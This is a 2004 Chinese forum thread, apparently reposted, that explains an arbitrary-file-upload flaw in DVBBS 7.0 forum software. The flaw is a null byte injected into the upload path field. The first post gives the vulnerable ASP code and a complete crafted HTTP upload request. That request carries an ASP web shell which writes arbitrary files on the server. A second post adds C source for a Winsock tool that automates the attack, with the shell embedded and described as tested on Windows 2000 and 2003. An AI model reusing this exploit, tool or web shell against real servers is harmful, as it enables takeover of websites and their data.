数模论坛

 找回密码
 注-册-帐-号
搜索
热搜: 活动 交友 discuz
查看: 4080|回复: 2

dvbbs7.0漏洞大观园

[复制链接]
发表于 2004-5-22 23:46:08 | 显示全部楼层 |阅读模式
<>创建时间:2004-05-17
动网论坛上传文件漏洞的原理以及攻击的代码实现
                                                                                                                                ---http://www.54nb.com
    最近一段时间比较忙,没什么时间为组织做贡献(实在是没实力,呵呵).刚好前一段时间听小猪说动网
论坛出了一个上传任意文件的漏洞,当时没怎么明白.但是我看到最近NB论坛上全部都在讨论有关这方面的
问题,就研究了一下,发现这个漏洞确实存在,而且非常严重,用小猪的话说是DVBBS7.0 SP2以下通杀.虽然有些
人已经知道了攻击方法,但是还是存在一些问题.下面我就动网的这个漏洞做一下讲解.(不知道会不会被人
骂,因为这个漏洞实在太大了).
    我们先看一下动网论坛上传文件的相关代码:

'===========无组件上传(upload_0)====================
sub upload_0()
set upload=new UpFile_Class ''建立上传对象
upload.GetDate (int(Forum_Setting(56))*1024)   '取得上传数据,不限大小
iCount=0

if upload.err &gt; 0 then
    select case upload.err
    case 1
    Response.Write "请先选择你要上传的文件 [ &lt;a href=# onclick=history.go(-1)&gt;重新上传&lt;/a&gt; ]"
    case 2
    Response.Write "图片大小超过了限制 "&amp;Forum_Setting(56)&amp;"K [ &lt;a href=# onclick=history.go(-1)&gt;重新上传&lt;/a&gt; ]"
    end select
    exit sub
    else
formPath=upload.form("filepath")
''在目录后加(/)
if right(formPath,1)&lt;&gt;"/" then formPath=formPath&amp;"/"

for each formName in upload.file ''列出所有上传了的文件
set file=upload.file(formName)  ''生成一个文件对象
if file.filesize&lt;100 then
    response.write "请先选择你要上传的图片 [ &lt;a href=# onclick=history.go(-1)&gt;重新上传&lt;/a&gt; ]"
    response.end
end if

fileExt=lcase(file.FileExt)
if CheckFileExt(fileEXT)=false then
    response.write "文件格式不正确 [ &lt;a href=# onclick=history.go(-1)&gt;重新上传&lt;/a&gt; ]"
    response.end
end if

randomize
ranNum=int(90000*rnd)+10000
filename=formPath&amp;year(now)&amp;month(now)&amp;day(now)&amp;hour(now)&amp;minute(now)&amp;second(now)&amp;ranNum&amp;"."&amp;fileExt
if file.FileSize&gt;0 then         ''如果 FileSize &gt; 0 说明有文件数据
  file.SaveToFile Server.mappath(filename)   ''保存文件
'  response.write file.FilePath&amp;file.FileName&amp;" ("&amp;file.FileSize&amp;") =&gt; "&amp;formPath&amp;File.FileName&amp;" 成功!&lt;br&gt;"
response.write "&lt;script&gt;parent.document.forms[0].myface.value='"&amp;FileName&amp;"'&lt;/script&gt;"
  iCount=iCount+1
end if
set file=nothing
next
set upload=nothing
session("upface")="done"
Htmend iCount&amp;" 个文件上传结束!"

end if
end sub

在上面代码中可以看到这样一句:
filename=formPath&amp;year(now)&amp;month(now)&amp;day(now)&amp;hour(now)&amp;minute(now)&amp;second(now)&amp;ranNum&amp;"."&amp;fileExt
这里,filename是保存的文件名,它是依照上传时间来命名的,最后扩展名是表单中提交过来的文件的扩展名.但是
程序中对提交文件的类型做了限制,显然想直接上传ASP文件是不可行的.但是我们来看一下做为后辍的依据从哪里
来的呢?我们可以在reg_upload.asp中找到这样的代码:
&lt;form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" &gt;
&lt;input type="hidden" name="filepath" value="uploadFace"&gt;
&lt;input type="hidden" name="act" value="upload"&gt;
&lt;input type="file" name="file1"&gt;
&lt;input type="hidden" name="fname"&gt;
&lt;input type="submit" name="Submit" value="上传" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true,
parent.document.forms[0].Submit2.disabled=true;"&gt;
&lt;/form&gt;
这样,我们知道了,程序是提取file1表单和fname表单中的值来做判断的.也就是说直接从页面递交我们的ASP文件
也是行不通了,但是,如果是我们自己构造数据包的话就不一样了.欲望之翼提出的方法就是自已构造数据包来达到欺骗的目的.
将提交的file1表单和fname表单项的值改成合法的文件名称.这样就可以绕过文件类型的检测了.

当然,主要的问题不在这里,如果我们只是要上传那些代码的话,我们完全可以直接改文件名就好了.我们的目的
是要让我们上传的文件名改成ASP,这样我们才可以利用.关键就在这一句了:
formPath&amp;year(now)&amp;month(now)&amp;day(now)&amp;hour(now)&amp;minute(now)&amp;second(now)&amp;ranNum&amp;"."&amp;fileExt
这句话将一段字符串合并起来.我们能改的就是formPath这个参数.在计算机中检测字符串的关键就是看是否碰到'\0'字符,
如果是,则认为字符串结束了.也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似"uploadface\zwell.asp"
这样的路径参数已经结束了,这样,后面一连串的时间字符我们都可以不要,从而达到直接将文件保存为我们定义的文件名的目的.
因些,我们要做的是在构造的数据包中,将表单中的filepath改成类似uploadface\zwell.asp'\0'的字符串然后发送出去就行了.
我们先来看一下数据包的格式(论坛上好像大家用的是WSockExpert,不过我用的是IRIS,我觉得更专业一点,^_^):


POST /forum/upfile.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: <a href="http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp" target="_blank" >http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp</A>
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)
Host: uyee.com
Content-Length: 1593
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF

-----------------------------7d4a325500d2
Content-Disposition: form-data; name="filepath"

uploadFace\zwell.asp
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="act"

upload
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="file1"; filename="C:\1.gif"
Content-Type: text/plain

&lt;%dim objFSO%&gt;
&lt;%dim fdata%&gt;
&lt;%dim objCountFile%&gt;
&lt;%on error resume next%&gt;
&lt;%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%&gt;
&lt;%if Trim(request("syfdpath"))&lt;&gt;"" then%&gt;
&lt;%fdata = request("cyfddata")%&gt;
&lt;%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%&gt;
&lt;%objCountFile.Write fdata%&gt;
&lt;%if err =0 then%&gt;
&lt;%response.write "&lt;font color=red&gt;save Success!&lt;/font&gt;"%&gt;
&lt;%else%&gt;
&lt;%response.write "&lt;font color=red&gt;Save UnSuccess!&lt;/font&gt;"%&gt;
&lt;%end if%&gt;
&lt;%err.clear%&gt;
&lt;%end if%&gt;
&lt;%objCountFile.Close%&gt;
&lt;%Set objCountFile=Nothing%&gt;
&lt;%Set objFSO = Nothing%&gt;
&lt;%Response.write "&lt;form action='''' method=post&gt;"%&gt;
&lt;%Response.Write "&lt;input type=text name=syfdpath width=32 size=50&gt;"%&gt;
&lt;%Response.Write "&lt;br&gt;"%&gt;
&lt;%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%&gt;
&lt;%Response.write "&lt;br&gt;"%&gt;
&lt;%Response.write "&lt;textarea name=cyfddata cols=80 rows=10 width=32&gt;&lt;/textarea&gt;"%&gt;
&lt;%Response.write "&lt;input type=submit value=save&gt;"%&gt;
&lt;%Response.write "&lt;/form&gt;"%&gt;
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="fname"

C:\1.gif
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="Submit"

上传
-----------------------------7d4a325500d2--

上面的数据我是在WIN2003下调试的.按我前面讲的,只要改几个地方就好了
1.Content-Disposition: form-data; name="file1"; filename="C:\1.gif"
2.Content-Disposition: form-data; name="fname"

  C:\1.gif
3.最重要的地方:uploadFace\zwell.asp,怎么加一个空字符呢?用UltraEdit是个好方法,用16进制编辑,
(因为'\0'这个字符也占一个位置,所以我们先打入一空格,然后再在UltraEdit里将对就空格符的20改成00).

至于,最前面的那一段,直接从抓包工具中提取就是了.而且随便一个都行.但是最重要的是要注意这一句:
Content-Length: 1593
很多人测试都没成功,就因为这个值设的不对,其实这个值很好算,是从第一个
"-----------------------------7d4a325500d2"开始算起,到"-----------------------------7d4a325500d2--\r\n\r\n"截止,
大家看到的"\r\n"是起换行作用,占两个字符.我看论坛上大家论坛时都是说加一个字符值就加一,不是说不对,只是还要这样数,
代码短倒无所谓,代码要是很长怎么办呢?,这里告诉大家一个简单的方法:打开记事本,将算长度的代码复制到记事本,保存,
然后看属性就一目了然了,一个字符都不会错.只是有一点必须注意,必须将最后的那几个换行也复制进来.很多人就是因为没有
复制换行才失败的.

</P>
 楼主| 发表于 2004-5-22 23:46:37 | 显示全部楼层
写了这么多,我们也看到,每一个这样改太不方便,做了工具是必须的了,呵呵,具体不多说了,部分代码如下:
#include &lt;winsock2.h&gt;
#include &lt;stdio.h&gt;
#include "Resource.h"

#pragma    comment(lib,"ws2_32.lib")

HINSTANCE        g_hInst;
HWND            g_hWnd;
HWND            m_up;
HWND            m_host;
HWND            m_webpath;
HWND            m_path;
HWND            m_filename;
HWND            m_upload;
DWORD            m_theadid;
BYTE            sendbuf[10000];
char            host[80];            //主机地址
char            bbspath[50];        //论坛地址
char            uppath[20];            //上传目录
char            upfilename[50];        //上传文件名
char            upfiledata[8000];    //上传文件内容
int                sendsize;            //总传送数据大小
int                realsndsize = 0;    //传送页面文件的大小
char            snddata[8000];
char            mm[1000]=
                    "&lt;%dim objFSO%&gt;\r\n"
                    "&lt;%dim fdata%&gt;\r\n"
                    "&lt;%dim objCountFile%&gt;\r\n"
                    "&lt;%on error resume next%&gt;\r\n"
                    "&lt;%Set objFSO = Server.CreateObject(\"Scripting.FileSystemObject\")%&gt;\r\n"
                    "&lt;%if Trim(request(\"syfdpath\"))&lt;&gt;\"\" then%&gt;\r\n"
                    "&lt;%fdata = request(\"cyfddata\")%&gt;\r\n"
                    "&lt;%Set objCountFile=objFSO.CreateTextFile(request(\"syfdpath\"),True)%&gt;\r\n"
                    "&lt;%objCountFile.Write fdata%&gt;\r\n"
                    "&lt;%if err =0 then%&gt;\r\n"
                    "&lt;%response.write \"&lt;font color=red&gt;save Success!&lt;/font&gt;\"%&gt;\r\n"
                    "&lt;%else%&gt;"
                    "&lt;%response.write \"&lt;font color=red&gt;Save UnSuccess!&lt;/font&gt;\"%&gt;\r\n"
                    "&lt;%end if%&gt;\r\n"
                    "&lt;%err.clear%&gt;\r\n"
                    "&lt;%end if%&gt;"
                    "&lt;%objCountFile.Close%&gt;\r\n"
                    "&lt;%Set objCountFile=Nothing%&gt;\r\n"
                    "&lt;%Set objFSO = Nothing%&gt;"
                    "&lt;%Response.write \"&lt;form action=\'\' method=post&gt;\"%&gt;\r\n"
                    "&lt;%Response.Write \"&lt;input type=text name=syfdpath width=32 size=50&gt;\"%&gt;\r\n"
                    "&lt;%Response.Write \"&lt;br&gt;\"%&gt;\r\n"
                    "&lt;%=server.mappath(Request.ServerVariables(\"SCRIPT_NAME\"))%&gt;\r\n"
                    "&lt;%Response.write \"&lt;br&gt;\"%&gt;\r\n"
                    "&lt;%Response.write \"&lt;textarea name=cyfddata cols=80 rows=10 width=32&gt;&lt;/textarea&gt;\"%&gt;\r\n"
                    "&lt;%Response.write \"&lt;input type=submit value=save&gt;\"%&gt;\r\n"
                    "&lt;%Response.write \"&lt;/form&gt;\"%&gt;\r\n";

//获得控件文本
char *gettext(HWND chwnd)
{
    char tmpbuf[10000];
    SendMessage(chwnd, WM_GETTEXT, (WPARAM)sizeof(tmpbuf), (LPARAM)tmpbuf);
    return tmpbuf;
}

//设置控件文本
void settext(HWND chwnd,char *text)
{
    SendMessage(chwnd, WM_SETTEXT, (WPARAM)(0), (LPARAM)text);
}

char *itos(int data)
{
    char tmp[10];
    sprintf(tmp, "%d", data);
    return tmp;
}

//上传线程
DWORD WINAPI uploadthread(LPVOID param)
{
    SOCKET        s;
    sockaddr_in sin;
    struct hostent * hp;
    unsigned int    addr;

    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    ZeroMemory((void *)&amp;sin, sizeof(sin));
   
    hp = gethostbyname(gettext(m_host));
    if (!hp)
        addr = inet_addr(gettext(m_host));
    if ((!hp)  &amp;&amp; (addr == INADDR_NONE) )
    {
        MessageBox(g_hWnd, "Unable to resolve host", "sendbuf", MB_OK);
        return 0;
    }
    if (hp != NULL)
        memcpy(&amp;(sin.sin_addr),hp-&gt;h_addr,hp-&gt;h_length);
    else
        sin.sin_addr.s_addr = addr;

    sin.sin_port = htons(80);
    sin.sin_family = AF_INET;

    strcpy(host, gettext(m_host));
    strcpy(bbspath, gettext(m_webpath));
    strcpy(upfiledata, gettext(m_upload));
    strcpy(uppath, gettext(m_path));
    strcpy(upfilename, gettext(m_filename));

    realsndsize = 578 + strlen(uppath) + strlen(upfilename) + strlen(upfiledata) + 1;

    sprintf((char *)sendbuf, "OST %s/upfile.asp HTTP/1.1\r\n"
                "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"
                "Referer: <a href="http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp" target="_blank" >http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp</A>\r\n"
                "Accept-Language: zh-cn\r\n"
                "Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2\r\n"
                "Accept-Encoding: gzip, deflate\r\n"
                "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\r\n"
                "Host: %s\r\n"
                "Content-Length: %d\r\n"
                "Connection: Keep-Alive\r\n"
                "Cache-Control: no-cache\r\n"
                "Cookie: iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF\r\n\r\n"
                "-----------------------------7d4a325500d2\r\n"
                "Content-Disposition: form-data; name=\"filepath\"\r\n\r\n"
                "%s\\%s",
                bbspath,
                host,
                realsndsize,
                uppath,
                upfilename);

    sendsize = strlen((char *)sendbuf);
    sendbuf[sendsize] = '\0';

    sprintf(snddata,
                "\r\n"
                "-----------------------------7d4a325500d2\r\n"
                "Content-Disposition: form-data; name=\"act\"\r\n\r\n"
                "upload\r\n"
                "-----------------------------7d4a325500d2\r\n"
                "Content-Disposition: form-data; name=\"file1\"; filename=\"C:\\1.gif\"\r\n"
                "Content-Type: text/plain\r\n\r\n"
                "%s\r\n"
                "-----------------------------7d4a325500d2\r\n"
                "Content-Disposition: form-data; name=\"fname\"\r\n\r\n"
                "C:\\1.gif\r\n"
                "-----------------------------7d4a325500d2\r\n"
                "Content-Disposition: form-data; name=\"Submit\"\r\n\r\n"
                "上传\r\n"
                "-----------------------------7d4a325500d2--\r\n\r\n",
                upfiledata);

    strcat((char *)&amp;sendbuf[sendsize+1], snddata);

    sendsize += strlen(snddata);
    sendsize += 1;

    if(SOCKET_ERROR == connect(s, (struct sockaddr *)&amp;sin, sizeof(sin)))
    {
        MessageBox(g_hWnd, "连接出错!", "出错提示:", MB_OK|MB_ICONERROR);
        return 0;
    }
    int sendsz = send(s, (char *)sendbuf, sendsize, 0);
    if(sendsz &lt;= 0)
        MessageBox(g_hWnd, "发送数据失败", itos(WSAGetLastError()), MB_OK);
    char recvbuf[10000];
    recv(s, (char*)recvbuf, 10000, 0);
    settext(m_upload, recvbuf);
    closesocket(s);
    return 0;
}

void WINAPI    On_Command(WPARAM wParam)
{
    switch (LOWORD(wParam))
    {
        case ID_UP:
            CreateThread(NULL, 0, uploadthread, NULL, NULL, &amp;m_theadid);
            break;
        case IDCANCEL:
            SendMessage(g_hWnd, WM_CLOSE, (WPARAM)(NULL), LPARAM(NULL));
            break;
    }
}

static BOOL    CALLBACK MainDlgProc(HWND hWndDlg, UINT msg,    WPARAM wParam, LPARAM lParam)
{
    switch (msg)
    {
        case WM_INITDIALOG:
            g_hWnd = hWndDlg;
            m_up = GetDlgItem(g_hWnd, ID_UP);
            m_host = GetDlgItem(g_hWnd, IDC_EDIT1);
            m_webpath = GetDlgItem(g_hWnd, IDC_EDIT2);
            m_path = GetDlgItem(g_hWnd, IDC_EDIT3);
            m_upload = GetDlgItem(g_hWnd, IDC_EDIT4);
            m_filename = GetDlgItem(g_hWnd, IDC_EDIT5);
            settext(m_host, "192.168.10.101");
            settext(m_webpath, "/");
            settext(m_path, "uploadface");
            settext(m_filename, "zwell.asp");
            settext(m_upload, mm);
            return TRUE;

        case WM_COMMAND:
            On_Command(wParam);
            break;
   
        case WM_SIZE:
            break;

        case WM_CLOSE:
            EndDialog(g_hWnd,0);
            break;
    }
    return FALSE;
}

int    APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE    hPrevInstance, LPSTR lpCmdLine,    int    nCmdShow)
{
    WSADATA    wsaData;
   
    g_hInst=hInstance;
    if(WSAStartup(MAKEWORD(1, 1), &amp;wsaData))
    {
        MessageBox(NULL,"无法初始化    Winsock    DLL\t","错误",MB_OK|MB_ICONSTOP);
        return 0;
    }
    DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1),    NULL, (DLGPROC)    MainDlgProc);
    WSACleanup();
    return 1;
}

WINDOWS2003 + VC.NET
WINDOWS2003 WINDOWS2000测试通过
发表于 2004-7-21 20:20:40 | 显示全部楼层
<>我发现你确实有点.................~~~~~~~~~~~~~</P>
您需要登录后才可以回帖 登录 | 注-册-帐-号

本版积分规则

小黑屋|手机版|Archiver|数学建模网 ( 湘ICP备11011602号 )

GMT+8, 2024-11-27 13:49 , Processed in 0.053328 second(s), 18 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表